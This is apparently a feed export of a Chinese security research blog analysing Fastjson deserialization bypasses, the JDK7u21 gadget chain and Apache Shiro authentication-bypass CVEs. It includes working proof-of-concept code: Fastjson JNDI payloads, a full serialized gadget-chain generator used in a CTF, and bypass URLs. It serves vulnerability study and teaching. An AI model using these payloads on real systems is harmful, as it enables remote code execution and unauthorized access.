当第二个@type解析时,我们跟一下checkAutoType的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {

//黑白名单判断
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

autoTypeSupport关闭的时候,直接clazz = TypeUtils.getClassFromMapping(typeName),从mapping里面获取类,当其开启的时候,白名单肯定不满足,但是黑名单判断的时候Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null要求满足符合黑名单并且不再mapping内才会抛出异常,所以也会进入clazz = TypeUtils.getClassFromMapping(typeName)逻辑,开不开启autype都是可以的

漏洞修复

1.2.48版本直接设置MiscCode类deserialze方法的TypeUtils.loadClass的第三个参数为false

image-20211022203741051

1.2.59(CVE-2019-14540)

后面版本就基本上是开启autotype,和黑名单的对抗了

漏洞复现

jdk1.8.0_161,版本需要小于jdk 191,ldap注入

pom.xml

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.2.0</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse("{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1389/Exploit\"}");
}
}

Exploit.java

1
2
3
4
5
6
7
8
9
public class Exploit {
public Exploit() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}

漏洞分析

com.zaxxer.hikari#setMetricRegistry

image-20211029145555396

metricRegistry可控,getObjectOrPerformJndiLookup函数存在lookup绑定refference的操作,可以JNDI注入

image-20211029145752891

1.2.68

expectClass绕过AutoType

1.2.61开始,黑名单从十进制变成了十六进制,1.2.62开始,黑名单从小写变成了大写

1.2.48-1.2.68黑名单绕过的有很多,这里不再赘述,文末链接有

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType

漏洞复现

  • jdk1.8.0_161
  • fastjson 1.2.68
  • 开不开启autotype都是可以的

服务端存在如下实现AutoCloseable接口类的恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package demo;

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}
1
2
3
4
5
6
7
8
9
10
11
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) throws Exception{
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"demo.VulAutoCloseable\",\"cmd\":\"calc\"}");
}
}

漏洞分析

com.alibaba.fastjson.parser#checkAutoType

第一个类java.lang.AutoCloseable,直接从mapping中获取

image-20211029163317737

然后回到 com.alibaba.fastjson.parser#parseObject,调用JavaBeanDeserializer的deserialze

image-20211029163601231

这里主要逻辑就读取第二个@type对应的类名,这里找不到对应的deserializer,会二次进入checkAutoType函数

image-20211029163731484

这里expectclass参数为java.lang.AutoCloseable

image-20211029163926567

expectClass不为null,且不为下面几种class,expectClassFlag被设置为true

image-20211029164050636

expectClassFlag为true,这里不受autotype影响,直接loadClass

image-20211029164316066

最后会检测clazz是否为expectClass的子类或者实现了其接口,所以恶意类要求实现AutoCloseable接口

image-20211029164657186

需要找实现AutoCloseable接口的类,IntputStream和OutputStream都是实现自AutoCloseable接口的,再找继承他们的类,同时需要调用其恶意的set或者get方法

实际利用有限,可以复制,写入文件。写入文件也有限制,不能写入特殊字符,比如不能写入PHP代码,POC可参考这里

参考链接

]]>
<p>Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。</p> <p>Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。</p> <h2 id="Fastjson组件"><a href="#Fastjson组件" class="headerlink" title="Fastjson组件"></a>Fastjson组件</h2><p>Fastjson使用包含如下几个核心函数</p> <figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//序列化</span></span><br><span class="line">String text = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span><span class="keyword">to</span><span class="constructor">JSONString(<span class="params">obj</span>)</span>;</span><br><span class="line"><span class="comment">//反序列化</span></span><br><span class="line">VO vo = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span>parse<span class="literal">()</span>; <span class="comment">//解析为JSONObject类型或者JSONArray类型</span></span><br><span class="line">VO vo = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span>parse<span class="constructor">Object(<span class="string">"&#123;...&#125;"</span>)</span>; <span class="comment">//JSON文本解析成JSONObject类型</span></span><br><span class="line">VO vo = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span>parse<span class="constructor">Object(<span class="string">"&#123;...&#125;"</span>, VO.<span class="params">class</span>)</span>; <span class="comment">//JSON文本解析成VO.class类</span></span><br></pre></td></tr></table></figure> <p>pom.xml</p> <figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>fastjson<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.24<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure>
Jdk7u21 Gadget Chain https://jlkl.github.io/2021/08/21/Java_05/ 2021-08-21T12:08:10.000Z 2021-08-21T12:19:16.000Z 在ysoserial 的payloads目录下 有一个jdk7u21,以往的反序列化Gadget都是需要借助第三方库才可以成功执行,但是jdk7u21的Gadget执行过程中所用到的所有类都存在在JDK中

影响版本:

  • JDK <= 7u21

测试环境:

  • JDK 7u21

pom.xml

1
2
3
4
5
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>

需要添加javassist依赖

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

利用链分析

入口点是在LinkedHashSet的readObject,又因为继承了HashSet,即HashSet的readObject

image-20210821152916574

关注map.put,PRESENT是一个空的object变量,跟进,大概逻辑为判断key的hash值是否和已有的相等,然后添加进value

image-20210821153215114

注意key.equals(k),这里使用动态代理来拓展供给面,我们知道动态代理最终的调用是Handler的invoke函数实现的。这里使用的是AnnotationInvocationHandler这个动态代理handler,查看它的invoke实现

image-20210821154338726

方法名为equal时最后调用equalsImpl,跟进

image-20210821162516121

关注var8 = var5.invoke(var1)这个反射调用,跟进getMemberMethods

image-20210821162703442

equalsImpl这个函数功能大概明了了,从this.type获取类声明的函数,然后循环执行,type在构造函数这里可控

image-20210821162852684

这里用到了cc2的TemplatesImpl,详细可以参考 URLDNS&Commons Collections 1-7,这个类只有两个方法

image-20210821163340588

newTransformer方法最后会从字节码实例化恶意类从而执行其静态代码块的恶意代码

如何构造满足条件的hash值?

那么怎么才能执行key.equals(k),回到map.put的实现

image-20210821153215114

首先第一次调用map.put()时传入的参数e是我们封装了恶意代码的TemplatesImpl对象,另一个参数就是一个空的Object对象

image-20210821172348046

继续put的实现,hash会调用对象本身的hashcode方法,indexFor方法则是会根据计算出的hashcode返回hash索引。第一次调用时table为空,那么就不会进入for循环。addEntry会将key添加进table,包含其hashcode还有hash索引。

那么考虑第二次调用的时候要进入for循环需要根据hashcode计算出的hash索引和第一次传入的TemplatesImpl对象相同。第二次传入的是AnnotationInvocationHandler对象,那么如何让这两个类型都不同的对象计算出的hashcode是相同的呢?

AnnotationInvocationHandler是动态代理的handler,调用其hashcode,最终调用hashCodeImpl

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}

var3遍历memberValues存储的键值对,然后var1为hashcode值,memberValues构造时可控

image-20210821174517896

那么让memberValues的第一个键值对的值为封装了恶意代码的TemplatesImpl对象,然后关键就是

1
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

看第一次循环,memberValueHashCode(var3.getValue()的值即为封装了恶意代码的TemplatesImpl对象的hashcode,因为0和任何数异或的结果都是那个数,那么只需要((String)var3.getKey()).hashCode()即key的hashcode为0就可以保证循环结束后返回的hashcode值一直为装了恶意代码的TemplatesImpl对象的hashcode,这里f5a5a608字符串的hashcode为0

for循环过后

1
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

因为&&||有短路效果,需要满足 e.hash == hash(k = e.key) != key 才会执行 key.equals(k)

第二次put传入代理对象时,e.hash为封装了恶意代码的TemplatesImpl对象的hashcode,我们上面已经做了处理,代理对象返回的hashcode必然和 e.hash相等。同时此时k为代理对象,而 e.key 为TemplatesImpl对象,必然不相同

利用思路:

  1. 构造恶意TemplatesImpl
  2. 实例化一个HashMap,并添加keyf5a5a608,恶意构造好的TemplatesImpl加入到map中
  3. 利用反射实例化AnnotationInvocationHandler类,传入map
  4. 创建一个AnnotationInvocationHandler对象为handler的动态代理
  5. 实例化HashSet,并将TemplatesImpl和设置的代理这两个对象放进去

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package demo;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class App {
public static void main(String[] args) throws Exception {
//创建恶意class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Str3am");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
((CtClass) cc).makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//设置父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(App.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

try {
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(set);
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
} catch (Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

漏洞修复

在 jdk > 7u21 的版本,修复了这个漏洞,AnnotationInvocationHandlerreadObject() 方法增加了异常抛出,导致反序列化失败

image-20210821180320677

DASCTF July easyjava

禁止序列化LinkedHashSet类

image-20210821195827791

序列化父类HashSet即可,当然这里肯定有其他解法

HashSet和LinkedHashSet区别在于,LinkedHashSet里数据的下标和我们插入时的顺序一样,而HashSet不保证有序

https://www.zhihu.com/question/28414001

payload多打几次就可以了,实在不行交换proxy和templates的add顺序再多打几次

Jdk7u21 HashSet版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.BASE64Encoder;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class App {
public static void main(String[] args) throws Exception {
//创建恶意class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Str3am");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
((CtClass) cc).makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//设置父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// TemplatesImpl templates = new TemplatesImpl();
// setFieldValue(templates, "_bytecodes", new byte[][]{
// ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
// });
// setFieldValue(templates, "_name", "HelloTemplatesImpl");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(App.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new HashSet();
set.add(proxy);
set.add(templates);




// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

// try {
// ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
// obout.writeObject(set);
// ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
// obin.readObject();
// } catch (Exception e){
// e.printStackTrace();
// }

ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream obout = new ObjectOutputStream(baout);
obout.writeObject(set);
System.out.println(new BASE64Encoder().encode(baout.toByteArray()).replaceAll("[\\s*\t\n\r]", ""));
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

EvilTemplatesImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public EvilTemplatesImpl() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}

参考链接

]]>
<p>在ysoserial 的payloads目录下 有一个jdk7u21,以往的反序列化Gadget都是需要借助第三方库才可以成功执行,但是jdk7u21的Gadget执行过程中所用到的所有类都存在在JDK中</p> <p><strong>影响版本:</strong></p> <ul> <li>JDK &lt;= 7u21</li> </ul> <p><strong>测试环境:</strong></p> <ul> <li>JDK 7u21</li> </ul> <p>pom.xml</p> <figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>javassist<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>javassist<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.12.0.GA<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure> <p>需要添加javassist依赖</p>
Shiro Vulnerability https://jlkl.github.io/2021/06/28/Web_19/ 2021-06-28T13:18:00.000Z 2021-06-28T13:25:02.000Z 权限绕过

环境搭建

基于此源码:https://github.com/l3yx/springboot-shiro

导入idea,application.properties添加

1
server.servlet.context-path=/test

因为pom.xml里排除了springboot内置的tomcat,新建Configurations->Tomcat Server,添加新的deployment,并设置context为/test,然后运行即可

image-20210521160532545

Shiro基础

Shiro验证

1
2
anon 不需要验证,可以直接访问
authc 需要验证,也就是我们需要bypass的地方

Shiro的URL路径表达式为Ant格式

1
2
3
4
/hello 只匹配url http://demo.com/hello
/h? 只匹配url http://demo.com/h+任意一个字符
/hello/* 匹配url下 http://demo.com/hello/xxxx的任意内容,不匹配多个路径
/hello/** 匹配url下 http://demo.com/hello/xxxx/aaaa的任意内容,匹配多个路径

CVE-2020-1957

影响范围

  • Apache Shiro < 1.5.2

漏洞复现

这里需要在pom.xml里面修改shiro版本为1.5.1,而且spring-boot的版本记得改为:1.5.22.RELEASE,原因具体可以查看:

https://www.anquanke.com/post/id/240033#h3-5

同时因为版本问题,SrpingbootShiroApplication.java 里这个类名需要改成如下,然后启动tomcat即可image-20210616102024338

POC:

1
/test/a;/../admin/page

直接访问302

image-20210616103708415

绕过

image-20210616103732111

漏洞分析

这里需要前置知识Tomcat URL解析差异性导致的安全问题,总结就是

Tomcat对请求路径中/;xxx/以及/./的处理是包容的、对/../会进行跨目录拼接处理

调试tomcat逻辑需要在pom.xml里添加依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.37</version>
</dependency>

定位到1.5.2版本修改的文件 org\apache\shiro\web\util\WebUtils.java,里面getRequestUri函数调用的是request.getRequestURI处理,对于POC,此时uri和POC相同,即/test/a;/../admin/page

image-20210616204018948

decodeAndCleanUriString函数则是对含有;的路径进行处理,直接忽略掉;和其之后的部分,对于POC,返回/test/a

image-20210616204343806

normalize函数会对uri进行规范化处理,处理掉/.//../,这里对POC没有什么影响

return完之后进入getPathWithinApplication函数,去除掉ContextPath,对于POC返回/a

image-20210616204917915

然后进入Shiro匹配逻辑,取出config中定义规则,验证是否匹配,/a显然不满足/admin/*,不需要验证

image-20210616205117358

Shiro验证绕过之后来到了Spring-boot解析,这个版本会调用tomcat的getServletPath,对/;xxx/以及/./有包容性,POC对于tomcat来说就相当于是/test/admin/page,于是能正常访问

总结漏洞产生的原因,Shiro调用request的getRequestURI获取到请求的地址之后,使用自身编写的逻辑去处理判断,没有考虑到tomcat解析兼容的差异性

漏洞修复

diff 1.5.1 和 1.5.2 的代码,这里主要使用request.getServletPath来获取请求的路径,而其是tomcat内置,会考虑到对/;xxx/以及/./的包容性,那么对于POC,getServletPath返回/admin/page,自然通不过验证,即Shiro主动去兼容tomcat

image-20210616210233039

CVE-2020-11989

影响范围

  • Apache Shiro < 1.5.3

漏洞复现

第一种方式:

1
/;/test/admin/page

image-20210617110209365

第二种方式:

为了复现第二种方式,需要添加一个controller

1
2
3
4
@GetMapping("/admin/{name}")
public String hello(@PathVariable String name){
return "Hello " + name;
}

POC

1
/test/admin/w%25%32%66orld 或 /test/admin/w%252forld

%25%32%66%252f/ 的二次url编码

image-20210617110601327

漏洞分析

https://xz.aliyun.com/t/7964

https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

第一种绕过方式比较通用,这里以第一种进行分析。在上一个我们提到Shiro验证是再getChain函数,获取到请求路径后,和config中配置进行对比

image-20210617112247406

获取请求路径是在getPathWithinApplication函数,getPathWithinApplication作用也说过,去掉请求中的ContextPath

image-20210617112928238

关键就在于getRequestUri函数,normalize是规范化/.//../

image-20210617142806155

decodeAndCleanUriString先进行一次url解码,然后注意59是;的ascii码,这里遇到;的处理逻辑是,直接忽略;及以后,那么对于POC1,这里获取到的路径就是/,可以绕过Shiro验证

image-20210617143200521

第二种方式主要是解码和匹配的问题,decodeAndCleanUriString还会进行一次url解码,%25%32%66会还原成//admin/w/orld不满足/admin/*(注意/admin/*只匹配一个路径,不匹配多个),所以绕过

漏洞修复

getServletPath和getPathInfo使用request方法获取路径和信息,会处理掉;..等,同时没有了二次解码

image-20210617170425647

image-20210617170504979

xq17师傅还提到如果getPathInfo可以引入;,那么也是可以继续绕过的,遗憾的是我在调试的时候一直没找到getServletPath在哪一段可以引入,希望知道的师傅可以指导一下

同时上个版本的修复又改回去了

image-20210617170836320

CVE-2020-13933

影响范围

  • Apache Shiro < 1.6.0

漏洞复现

Shiro 1.5.3版本

1
<dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-web</artifactId>            <version>1.5.3</version>        </dependency>        <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-spring</artifactId>            <version>1.5.3</version>        </dependency>

POC

1
/test/admin/%3bStr3am

image-20210617171413141

漏洞分析

image-20210622153740414

修复过后的getPathWithinApplication函数中getServletPath调用request.getServletPath,会进行url二次解码,POC解码为/admin/%3bStr3am,removeSemicolon会对;进行处理。POC变为/admin/

image-20210622153857408

然后这段是对Shiro-682的修复,会去掉最后的/,显然/admin不满足Shiro匹配/admin/*,所以造成bypass

漏洞修复

shiro 1.6.0版本中,针对/*这种ant风格的配置出现的问题,shiroorg.apache.shiro.spring.web.ShiroFilterFactoryBean.java中默认增加了/**的路径配置,以防止出现匹配不成功的情况。

image-20210622154355823

而默认的/**配置对应了一个新增的类org.apache.shiro.web.filter.InvalidRequestFilter进行过滤,匹配到非法字符就会直接报错,可以看到,过滤了%3b

image-20210622154520915

CVE-2020-17510

影响范围

  • Apache Shiro < 1.7.0

漏洞分析

image-20210622154935289

增加了对PathInfo的检验,修复过后,Shiro的URL校验是由ServletPath和PathInfo构成,之前CVE-2020-11989的时候提到过可以在PathInfo加入;../绕过,Spring-boot默认PathInfo为空,但在其他情况可以,利用范围有限。

CVE-2020-17523

影响范围

  • Apache Shiro < 1.7.0

漏洞复现

1
<parent>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-parent</artifactId>        <version>2.4.5</version>        <relativePath/> <!-- lookup parent from repository -->    </parent>         <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-web</artifactId>            <version>1.6.0</version>        </dependency>        <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-spring</artifactId>            <version>1.6.0</version>        </dependency>

通杀版本

1
/test/admin/%20

image-20210622163001248

springboot高版本

1
/test/admin/%2e    或    /test/admin/%2e

image-20210622163112082

漏洞分析

通杀版本的绕过,其原因和%3b差不多,都是Shiro规则匹配特殊字符缺陷的原因

而针对/test/admin/%2e,request.getServletPath处理后返回/test/admin/,同样因为Shiro-682原因,会去掉最后的/导致bypass

漏洞修复

image-20210622171226555

解决空格分离的问题

image-20210622171518753

Shiro-682的修复改成了if/else判断

权限绕过总结

经过上文的分析,可以看到权限绕过基本就在于Shiro和Spring到tomcat解析URL差异性上,Shiro用自己的逻辑去判断请求的地址,但是忽略了tomcat解析包容性的问题。导致绕过Shiro判断,而Spring能够正常解析。

反序列化

CVE-2016-4437(Shiro-550)

影响范围

  • Apache Shiro < 1.2.4

环境搭建

下载Shiro并切换到漏洞版本

1
git clone https://github.com/apache/shiro.gitcd shirogit checkout shiro-root-1.2.4

pom.xml修改,添加

jstl是为了jsp正常运行,commons-collections4引入反序列化利用链

1
<dependency>    <groupId>javax.servlet</groupId>    <artifactId>jstl</artifactId>    <!--  这里需要将jstl设置为1.2 -->    <version>1.2</version>    <scope>runtime</scope></dependency> <dependency>    <groupId>org.apache.commons</groupId>    <artifactId>commons-collections4</artifactId>    <version>4.0</version></dependency>

idea导入shiro/samples/web,等待idea自动下载导入项目依赖的包

Edit Configurations 添加TomcatServer,并添加Deployment

image-20210624150056867

image-20210624150216734

然后调试运行即可

image-20210624151014898

漏洞复现

burp插件发现默认key

image-20210624154426736

rememberMe cookie生成脚本

1
